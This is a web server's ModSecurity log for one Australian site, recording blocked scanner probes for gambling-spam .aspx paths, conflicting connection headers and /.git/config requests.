[Mon May 11 06:40:45.878637 2026] [:error] [pid 65261:tid 65347] [client 51.68.233.44:44384] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agEJbZu_9uQJeFrcOss8NAAAAJg"]
[Mon May 11 06:40:48.381504 2026] [:error] [pid 65259:tid 65270] [client 51.68.233.44:44390] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agEJcAPsXLnMa32ma5BV6AAAAAI"]
[Mon May 11 06:40:50.917636 2026] [:error] [pid 9335:tid 9345] [client 51.68.233.44:42286] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agEJcnmXqumINT8bKRElTgAAAQg"]
[Mon May 11 06:40:53.280563 2026] [:error] [pid 9335:tid 9340] [client 51.68.233.44:42296] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agEJdXmXqumINT8bKRElUgAAAQM"]
[Mon May 11 06:40:55.807349 2026] [:error] [pid 65366:tid 65393] [client 51.68.233.44:42302] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agEJd6hVGdYzapDtv-H1wgAAANg"]
[Mon May 11 06:40:58.186167 2026] [:error] [pid 9335:tid 9340] [client 51.68.233.44:42314] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agEJenmXqumINT8bKRElYAAAAQM"]
[Mon May 11 06:41:00.713104 2026] [:error] [pid 9335:tid 9348] [client 51.68.233.44:60880] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agEJfHmXqumINT8bKRElZAAAAQs"]
[Mon May 11 06:41:03.241568 2026] [:error] [pid 9335:tid 9341] [client 51.68.233.44:60894] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agEJf3mXqumINT8bKRElbQAAAQQ"]
[Mon May 11 06:41:05.615624 2026] [:error] [pid 9335:tid 9361] [client 51.68.233.44:60896] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agEJgXmXqumINT8bKRElcgAAARg"]
[Mon May 11 06:41:08.130225 2026] [:error] [pid 65259:tid 65289] [client 51.68.233.44:60902] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agEJhAPsXLnMa32ma5BV7gAAABU"]
[Mon May 11 06:41:10.655145 2026] [:error] [pid 65259:tid 65284] [client 51.68.233.44:53620] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agEJhgPsXLnMa32ma5BV8AAAABA"]
[Mon May 11 06:41:13.007441 2026] [:error] [pid 65366:tid 65371] [client 51.68.233.44:53622] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agEJiahVGdYzapDtv-H1xwAAAMM"]
[Mon May 11 06:41:15.524796 2026] [:error] [pid 65261:tid 65334] [client 51.68.233.44:53628] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agEJi5u_9uQJeFrcOss8RAAAAIs"]
[Mon May 11 06:41:18.040084 2026] [:error] [pid 9335:tid 9351] [client 51.68.233.44:53644] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agEJjnmXqumINT8bKRElgAAAAQ4"]
[Mon May 11 06:41:20.524682 2026] [:error] [pid 65260:tid 65301] [client 51.68.233.44:60152] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agEJkDqbzwIHjP6Y_3F3pgAAAEU"]
[Mon May 11 06:41:23.025728 2026] [:error] [pid 9335:tid 9345] [client 51.68.233.44:60154] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agEJk3mXqumINT8bKRElhQAAAQg"]
[Mon May 11 06:41:25.524963 2026] [:error] [pid 65261:tid 65341] [client 51.68.233.44:60158] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agEJlZu_9uQJeFrcOss8TAAAAJI"]
[Mon May 11 06:41:28.032459 2026] [:error] [pid 9335:tid 9343] [client 51.68.233.44:60172] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agEJmHmXqumINT8bKREliQAAAQY"]
[Mon May 11 06:41:30.523684 2026] [:error] [pid 65366:tid 65374] [client 51.68.233.44:47338] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agEJmqhVGdYzapDtv-H1zgAAAMY"]
[Mon May 11 06:41:33.035051 2026] [:error] [pid 65261:tid 65339] [client 51.68.233.44:47344] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agEJnZu_9uQJeFrcOss8TwAAAJA"]
[Mon May 11 06:41:35.554835 2026] [:error] [pid 65366:tid 65368] [client 51.68.233.44:47354] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agEJn6hVGdYzapDtv-H1zwAAAMA"]
[Mon May 11 06:41:38.046557 2026] [:error] [pid 9335:tid 9341] [client 51.68.233.44:47370] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "agEJonmXqumINT8bKRElkAAAAQQ"]
[Mon May 11 06:42:12.579821 2026] [:error] [pid 9335:tid 9338] [client 51.68.233.44:49248] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agEJxHmXqumINT8bKRElrwAAAQE"]
[Mon May 11 06:42:15.013011 2026] [:error] [pid 65261:tid 65323] [client 51.68.233.44:57208] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agEJx5u_9uQJeFrcOss8WQAAAIA"]
[Mon May 11 06:42:17.513251 2026] [:error] [pid 9335:tid 9355] [client 51.68.233.44:57224] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agEJyXmXqumINT8bKREltAAAARI"]
[Mon May 11 06:42:20.002820 2026] [:error] [pid 9335:tid 9350] [client 51.68.233.44:39970] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agEJzHmXqumINT8bKRElvAAAAQ0"]
[Mon May 11 06:42:22.501619 2026] [:error] [pid 9335:tid 9357] [client 51.68.233.44:39976] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agEJznmXqumINT8bKRElvgAAARQ"]
[Mon May 11 06:42:24.989580 2026] [:error] [pid 65261:tid 65346] [client 51.68.233.44:39980] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agEJ0Ju_9uQJeFrcOss8XAAAAJc"]
[Mon May 11 06:42:27.493950 2026] [:error] [pid 65261:tid 65334] [client 51.68.233.44:39996] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agEJ05u_9uQJeFrcOss8XgAAAIs"]
[Mon May 11 06:42:29.994174 2026] [:error] [pid 65366:tid 65379] [client 51.68.233.44:58082] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agEJ1ahVGdYzapDtv-H19gAAAMo"]
[Mon May 11 06:42:32.326914 2026] [:error] [pid 65259:tid 65283] [client 51.68.233.44:58096] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agEJ2APsXLnMa32ma5BWFAAAAA8"]
[Mon May 11 06:42:34.850102 2026] [:error] [pid 65366:tid 65383] [client 51.68.233.44:58100] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agEJ2qhVGdYzapDtv-H1-gAAAM4"]
[Mon May 11 06:42:37.316209 2026] [:error] [pid 9335:tid 9345] [client 51.68.233.44:58114] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agEJ3XmXqumINT8bKRElxQAAAQg"]
[Mon May 11 06:42:39.813268 2026] [:error] [pid 65366:tid 65386] [client 51.68.233.44:50656] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agEJ36hVGdYzapDtv-H2AQAAANE"]
[Mon May 11 06:42:42.294851 2026] [:error] [pid 65259:tid 65287] [client 51.68.233.44:50672] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agEJ4gPsXLnMa32ma5BWGQAAABM"]
[Mon May 11 06:42:44.623316 2026] [:error] [pid 65259:tid 65268] [client 51.68.233.44:50676] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agEJ5APsXLnMa32ma5BWGgAAAAA"]
[Mon May 11 06:42:47.110501 2026] [:error] [pid 65366:tid 65381] [client 51.68.233.44:50688] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agEJ56hVGdYzapDtv-H2BAAAAMw"]
[Mon May 11 06:42:49.430906 2026] [:error] [pid 65261:tid 65324] [client 51.68.233.44:46998] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agEJ6Zu_9uQJeFrcOss8ZQAAAIE"]
[Mon May 11 06:42:51.906197 2026] [:error] [pid 65261:tid 65346] [client 51.68.233.44:47012] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agEJ65u_9uQJeFrcOss8ZwAAAJc"]
[Mon May 11 06:42:54.232380 2026] [:error] [pid 9335:tid 9359] [client 51.68.233.44:47028] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agEJ7nmXqumINT8bKREl0QAAARY"]
[Mon May 11 06:42:56.711488 2026] [:error] [pid 65261:tid 65347] [client 51.68.233.44:47030] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agEJ8Ju_9uQJeFrcOss8aQAAAJg"]
[Mon May 11 06:42:59.039504 2026] [:error] [pid 65366:tid 65392] [client 51.68.233.44:37004] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agEJ86hVGdYzapDtv-H2CwAAANc"]
[Mon May 11 06:43:01.342081 2026] [:error] [pid 65366:tid 65393] [client 51.68.233.44:37014] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agEJ9ahVGdYzapDtv-H2DAAAANg"]
[Mon May 11 06:43:03.830612 2026] [:error] [pid 9335:tid 9349] [client 51.68.233.44:37028] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agEJ93mXqumINT8bKREl1gAAAQw"]
[Mon May 11 06:43:06.147479 2026] [:error] [pid 9335:tid 9338] [client 51.68.233.44:37038] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agEJ-nmXqumINT8bKREl1wAAAQE"]
[Mon May 11 06:43:08.617716 2026] [:error] [pid 65366:tid 65370] [client 51.68.233.44:37048] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "agEJ_KhVGdYzapDtv-H2DwAAAMI"]
[Mon May 11 06:43:42.258936 2026] [:error] [pid 65366:tid 65387] [client 51.68.233.44:40298] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agEKHqhVGdYzapDtv-H2LwAAANI"]
[Mon May 11 06:43:44.683303 2026] [:error] [pid 65260:tid 65315] [client 51.68.233.44:38964] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agEKIDqbzwIHjP6Y_3F38QAAAFM"]
[Mon May 11 06:43:47.165779 2026] [:error] [pid 65261:tid 65336] [client 51.68.233.44:38980] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agEKI5u_9uQJeFrcOss8jwAAAI0"]
[Mon May 11 06:43:49.485763 2026] [:error] [pid 65260:tid 65312] [client 51.68.233.44:55732] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agEKJTqbzwIHjP6Y_3F38wAAAFA"]
[Mon May 11 06:43:51.809269 2026] [:error] [pid 65261:tid 65337] [client 51.68.233.44:55740] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agEKJ5u_9uQJeFrcOss8kwAAAI4"]
[Mon May 11 10:06:05.681933 2026] [:error] [pid 65259:tid 65270] [client 43.161.224.78:43854] [client 43.161.224.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agE5jQPsXLnMa32ma5BmJgAAAAI"]
[Mon May 11 11:35:33.837033 2026] [:error] [pid 65366:tid 65382] [client 162.14.81.106:34724] [client 162.14.81.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agFOhahVGdYzapDtv-EfRQAAAM0"]
[Mon May 11 13:39:09.116330 2026] [:error] [pid 65261:tid 65337] [client 34.65.58.9:37760] [client 34.65.58.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "agFrfZu_9uQJeFrcOstt8QAAAI4"]
[Mon May 11 13:39:12.274639 2026] [:error] [pid 35052:tid 35079] [client 34.65.58.9:47534] [client 34.65.58.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "agFrgOHjpNNnFJrMXu3uNwAAAVg"]
